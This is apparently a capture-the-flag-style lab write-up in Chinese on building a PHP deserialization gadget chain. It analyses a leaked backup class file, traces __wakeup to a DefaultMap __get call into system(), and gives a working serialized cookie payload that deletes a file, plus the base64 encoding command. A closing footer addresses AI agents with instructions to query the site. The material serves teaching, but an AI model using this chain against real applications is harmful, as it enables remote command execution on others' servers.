> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md).

# 用于 PHP 反序列化 gadget 链的自定义字符串

### 为 PHP 反序列化构造自定义 gadget 链

应用程序将会话存储在一个序列化的 **cookie 中，并使用 Base64 编码**。在反序列化过程中，某些 **魔术方法** 会自动运行（尤其是 `__wakeup()`），从而为通向命令执行的 gadget 链打开了路径。

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}

```

{% endcode %}

提供了以下注释：

```html
    <!-- TODO: 在 /cgi-bin/libs/CustomTemplate.php 更新后重构 -->
```

<figure><img src="/files/07df74c773e295c829043470cddd47650540d0cc" alt=""><figcaption></figcaption></figure>

可通过 /\~ 读取的文件

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1）代码分析（`CustomTemplate.php~` 备份文件）

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos 觉得有个函数在两个地方被调用很酷……真是个天才
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // Carlos，你用这些描述到底在想什么？请重构！
        $this->HTML_DESC = '<p>这个产品在 HTML 中 <blink>超级</blink> 酷</p>';
        $this->TEXT_DESC = '这个产品在文本中很酷';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### 自动输入点： `CustomTemplate::__wakeup()`

* 在……期间 `unserialize()`，PHP 会自动调用 `__wakeup()`.
* 这里， `__wakeup()` 调用 `build_product()`.

#### 传播到 `Product`

`build_product()` 使得：

* `new Product($this->default_desc_type, $this->desc)`

并且在 `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

因此 **代码试图访问一个动态属性** 在 `$desc` 对象上，使用 `$default_desc_type` 作为可控值。

#### 决定性 gadget： `DefaultMap::__get($name)`

如果 `$desc` 是一个 `DefaultMap` 对象：

* 它没有名为 `HTML_DESC` / `TEXT_DESC` / 或其他施加的链，
* 因此 PHP 触发 `__get($name)`,
* `__get()` 使得： `call_user_func($this->callback, $name)`.

如果 `callback = "system"` 被设置后，结果是 `system($name)`.

#### 2）链的目标

运行：

* `system("rm /home/carlos/morale.txt")`

#### 3）链的构造（逻辑上）

构造一个对象：

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/（这将是 `DefaultMap`，因此传给 `system`)
* `CustomTemplate->desc` = **DefaultMap 对象**
* `DefaultMap->callback` = **"system"**

由反序列化得到：

1. `unserialize()` → 调用 `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` 使得 `$desc->$default_desc_type`
4. `$desc` 是 `DefaultMap` 且该属性不存在 → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → 执行命令

#### 4）序列化的 PHP 载荷（注意长度）

序列化载荷：

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### 用于 Cookie 的 Base64 编码

命令：

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="/files/674325826c3c1d6a88f82e7485dd8c9e4b915c52" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
